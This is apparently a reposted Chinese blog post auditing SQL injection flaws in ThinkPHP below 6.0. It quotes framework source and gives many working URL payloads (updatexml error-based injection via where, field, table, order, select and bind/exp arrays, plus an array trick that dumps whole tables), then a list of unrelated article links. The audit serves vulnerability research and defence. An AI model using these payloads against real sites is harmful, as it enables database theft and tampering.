版本过多只分析大版本和使用人数较多的版本目前使用人数最多的3.2.3。审计时也是发现多个版本未公开漏洞

测试环境:  Mysql5.6/PHP5.5

首先明确的是在不使用PDO做参数绑定时ThinkPHP全版本都可能存在宽字节注入。

黑盒检测方法:输入于头字节大于7F测试数据例如:

%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23  (%5e 后跟任意T-SQL语句)

白盒检测方法 全局搜索默认格式是否被设置GBK

'DEFAULT_CHARSET' => 'utf-8', // 默认输出编码

或者

mysql_query("SET NAMES gbk");

Where方法

也是使用的最多的条件查询方法,支持查询条件预处理

1. $Model->where("id=%d
and username='%s' and xx='%f'",array($id,$username,$xx))->select();
2. // 或者
3. $Model->where("id=%d
and username='%s' and xx='%f'",$id,$username,$xx)->select();

而他的预处理实际上调用了addslashes() 方法

/**

 * SQL指令安全过滤

 * @access public

 * @param string $str  SQL字符串

 * @return string

 */

public function escapeString($str) {

    return addslashes($str);

}

然而在对单参数传递时where并没对语句做参数化处理而在官方文档多个实例也是只传递了一个参数,包括一些开源项目找到的错误写法。

$result =
$this->db()->where($where)->update($data);

$teachers = $Teacher->where('name', 'like', '%'
. $name . '%')

where代码

/**

 * 指定查询条件 支持安全过滤

 * @access public

 * @param mixed $where 条件表达式

 * @param mixed $parse 预处理参数

 * @return Model

 */

public function where($where,$parse=null){

    if(!is_null($parse) && is_string($where)) {

        if(!is_array($parse)) {

            $parse = func_get_args();

            array_shift($parse);

        }

        $parse = array_map(array($this->db,'escapeString'),$parse);

        $where =   vsprintf($where,$parse);

    }
...
...
... return $this; }

只对$parse参数做了过滤 这种写法对于query()同样有效或者类似处理的方法同样有效。

这也算是开发人员安全意识问题,但在审计时这样的写法是影响全版本的。

QUERY()方法,execute方法

这两个方法支持更多原生sql语句在复杂的业务场景经常遇到

在低于3.1.3版本这两个方法都调用parseSql来解析sql语句

/**

 * 解析SQL语句

 * @access public

 * @param string $sql  SQL指令

 * @param boolean $parse  是否需要解析SQL

 * @return string

 */

protected function parseSql($sql,$parse) {

    // 分析表达式

    if(true === $parse) {

        $options =  $this->_parseOptions();

        $sql    =   $this->db->parseSql($sql,$options);

    }elseif(is_array($parse)){ // SQL预处理

        $sql    =   vsprintf($sql,$parse);

    }else{

        $sql    =   strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX')));

    }

    $this->db->setModel($this->name);

    return $sql;

}

然而parseSql根本就没有对数组参数做预处理就直接查询了。

这个漏洞官方早就披露了但在历史版本仍然可以见到身影。

Table,find,alias,join,union,group,having,comment 方法

Table,find这2个方法都需要select() 进行与数据库查询并未发现过滤

如果参数可控可以直接利用

$Dat=$Data->field($id)->select();

url地址中输入

id=updatexml(1,concat(0x7e,database()),3)
或者数组形式可以躲避value的过滤检测
id[updatexml(1,concat(0x7e,database()),3),1]=1

Table利用方式方式一样

id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+

在where之前的做操作都可以这样利用

还有类似

Alias 设置当前数据表的别名

Group 根据一个或多个列对结果集进行分组

Join 用于根据两个或多个表中的列之间的关系

UNION操作用于合并两个或多个 SELECT 语句的结果集

COMMENT方法 用于在生成的SQL语句中添加注释内容

如果参数可控都会造成SQL注入

Order方法

Order方法有个cve编号CVE-2018-16385

在小于5.1.2版本都存在sql注入在官网现在3.2.5最新版已经被修复然而

在3.2.4之前版本这个漏洞依旧存在 而且这个更新函数改动了很多升级可能会出现更多问题

第二个图是补丁之后的对所有参数数组化防止sql注入,考虑问题更加全面增加数组遍历。常规的数组处理利用二维数组可以绕过例如

id[id][updatexml(1,concat(0x7e,database()),3)]=--+

Select方法

前置方法查询数据拼接后都是进入select最后和数据库交互。也是重要的方法在支持一个参数传递往往条件 18年也披露一个漏洞 $options参数可控同类影响的方法还有delete,find

只需要在url中输入

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

便可注入成功都是利用了接收数组参数未验证导致的

/**
* 查询数据集
* @access public * @param array $options 表达式参数 * @return mixed
*/ public function select($options=array()) { $pk = $this->getPk();
... ... // 分析表达式
$options = $this->_parseOptions($options);
...
... return $resultSet; }

虽然在3.2.5版本更新了这个漏洞但在官网3.2.3并未被修复依旧可以被利用这也导致了低于3.2.5版本都可以利用。

在查看官方安全更新代码时发现5.x包括,3.2.5最新版本确实将这个漏洞过滤了但却引发另一个利用可能。

$id=I("get.id");

$Dat=$Data->select($id);

$this->data =  $Dat;

在url输入 id=1%20and%201=1  可以看到执行语句

SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]

可以看到确实这样也不会存在sql注入但是有另一个问题Thinkphp框架特殊性

当你查询一个数据是否存在时,入侵者无法得知你的ip时候可以通过传递一个数组例如

?id[]=1

SELECT * FROM `users` [ RunTime:0.0006s ]

遇到位置错误的时候在拼接where条件时会自动跳过,这样你就看到整表的数据,这种方法也可以利用在delete()方法

update方法

1. $User->where('id=5')->setInc('score'); // 用户的积分加1

2. $User->where('id=5')->setDec('score',5); // 用户的积分减5

在调用setInc,sETDec在调用时如果参数可控也会存在注入

在直接调用update去实例化更新数据同样会参数注入同样的官方也发布了安全更新

例如构建一个对象

$User = M("users");
$user['id'] = I('id');
$valu = $User->where($user)->save($data);

这里也是利用exp注入

Id[0]=exp&id=[1]==1  执行的sql语句为

Select * from users Where id=1

这里的update也是这样的利用方式利用bind 构建的payload:

id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

而它的代码

/**
* 更新记录
* @access public
* @param mixed $data 数据
* @param array $options 表达式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

从Update代码中发现代码中先调用parseSet  构建的 set xxxx 在拼接完成后 类似

UPDATE xxx SET user=:0 WHERE id= xx

在where条件第二次调用拼接时可以造成SQL注入

elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];

在传递数组时可以达到绕过

Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3)
或者
Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)

这也是 bind,exp注入

在最后调用execute 方法时默认对:10 进行拼接

这里又会造成第3次注入

比如我们输入

?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0

在条件位只输入:1’:0 修改位放我们要注入的语句依旧可以注入成功

这里insert 也是同样的利用方法低于5.0都有这个问题目前官方并未修复虽然利用条件苛刻。

至此在对常用的交互查询,修改方法审计完成。也是发现多个利用条件(踩不完的坑),对于thinkphp在接收数组时的多处理造成的SQL注入,虽然不明白这样设计框架的含义但这样是非常不安全的,很容易接收无法处理的数组导致程序报错重要信息泄露甚至500导致服务器宕机。

也是第一次接触php代码审计,对很多特性都要翻阅官方文档如有遗漏或者错误欢迎补充指正。

ThinkPHP<6.0 SQL注入代码审计分析的更多相关文章

  1. 【转】ThinkPHP 页面跳转

    ThinkPHP 提供了success 与error 方法用于带提示信息的页面跳转,如添加数据后显示提示信息并跳转等.success 方法用于操作成功后的提示,error 用于操作失败后的提示,二者使 ...

  2. 小谈ThinkPHP

    ThinkPHP也是一个MVC框架,分视图.控制器和模型,和Yii框架相比相对较好理解,并且是轻量级的框架(相对于Yii来说),在使用Yii框架时候如果将框架放在项目文件中,用编辑器打开文件都比较慢, ...

  3. 如何搭建易企秀H5平台?

    导读 易企秀如何开启伪静态支持? 一秀如何开启伪静态? 下载易企秀源码 oschina: http://git.oschina.net/jsper/html5Editor Windows下搭建环境 安 ...

  4. Thinkphp学习笔记6-redirect 页面重定向

    ThinkPHP redirect 方法可以实现页面的重定向(跳转)功能.redirect 方法语法如下: $this->redirect(string url, array params, i ...

  5. thinkphp 6.0 在 initialize 中重定向无效

    thinkphp 6.0 在 initialize 中重定向无效 改用 header() 函数 实例: // header('location:/index.php/模块/控制器/方法'); head ...

  6. Thinkphp .htaccess 与 httpd.ini文件重定向转换问题

    .htaccess 文件内容 RewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !- ...

  7. ThinkPHP跳转与重定向的区别在哪里

    跳转: 浏览器认为 : 当前 URL 请求成功 , 重新请求新的 URL . 浏览器会记录当前的 URL 和新的 URL 在请求历史记录中. 回退, 是可以回退到 , 当前的 URL 上的 . ( 无 ...

  8. thinkphp 重定向redirect

    /** * URL重定向 * @param string $url 重定向的URL地址 * @param integer $time 重定向的等待时间(秒) * @param string $msg ...

  9. 7——ThinkPhp中的响应和重定向:

    public function index3(){ //响应数据: $data=['title'=>"标题部分","content"=>" ...

  10. nginx 配置web 虚拟文件夹 而且codeIgniter,thinkphp 重定向url 地址

    nginx 配置虚拟文件夹而且url 重定向 server { #侦听80port listen 8090; #定义使用www.xx.com訪问 server_name 127.0.0.1; #设定本 ...

随机推荐

  1. 制作简易的3D相册

      今天介绍一下3D相册,用到了开源的FeatureCoverFlow控件,之前的几个作品用的也全都是开源的控件,为什么要用开源的控件呢,因为...他稳定啊! 1.准备   仍然是,去掉标题栏,然后导 ...

  2. TestNG(八) 类分组测试

    package com.course.testng.groups; import org.testng.annotations.Test; @Test(groups = "stu" ...

  3. Day4 总结

  4. 001:photoshop教程

    1:添加辅助线:有个位移的坐标系图标:点击标志中,鼠标按着不动.之后拖动到对应的位置. 2:量距离:第一行.第二个图标.直接测量像素. 3:切割图片: 3.1:第三行.第一列:选择切片工具 3.2:之 ...

  5. 工厂/Builder,桥接/策略

    1.工厂 vs 抽象工厂 工厂方法模式: 用来加工.生产对象的类.比如说我想要一个汽车类,但是我总不能现场给你造个车出来对吧?于是我找到工厂类,然后工厂帮我把发动机型号选好,轮胎装好,油漆喷好,然后把 ...

  6. Java连载33-对象的创建和使用、内存分析

    一.创建一个学生类 每个学生都有学号信息,但是每一个学生的学号都是不同的,所以要访问这个学号必须先创建对象,通过对象去访问学号信息,学号信息不能直接通过“类”去访问,所以这种成员变量又被称为“实例变量 ...

  7. [AI] 深度数据 - Data

    Data Engineering Data  Pipeline Outline [DE] How to learn Big Data[了解大数据] [DE] Pipeline for Data Eng ...

  8. [Leetcode] 第309题 最佳买卖股票时机含冷冻期

    一.题目描述 给定一个整数数组,其中第 i 个元素代表了第 i 天的股票价格 .​ 设计一个算法计算出最大利润.在满足以下约束条件下,你可以尽可能地完成更多的交易(多次买卖一支股票): 你不能同时参与 ...

  9. 网络编程之多线程——GIL全局解释器锁

    网络编程之多线程--GIL全局解释器锁 一.引子 定义: In CPython, the global interpreter lock, or GIL, is a mutex that preven ...

  10. 第八届蓝桥杯java b组第三题

    标题:承压计算 X星球的高科技实验室中整齐地堆放着某批珍贵金属原料. 每块金属原料的外形.尺寸完全一致,但重量不同.金属材料被严格地堆放成金字塔形. 7                         ...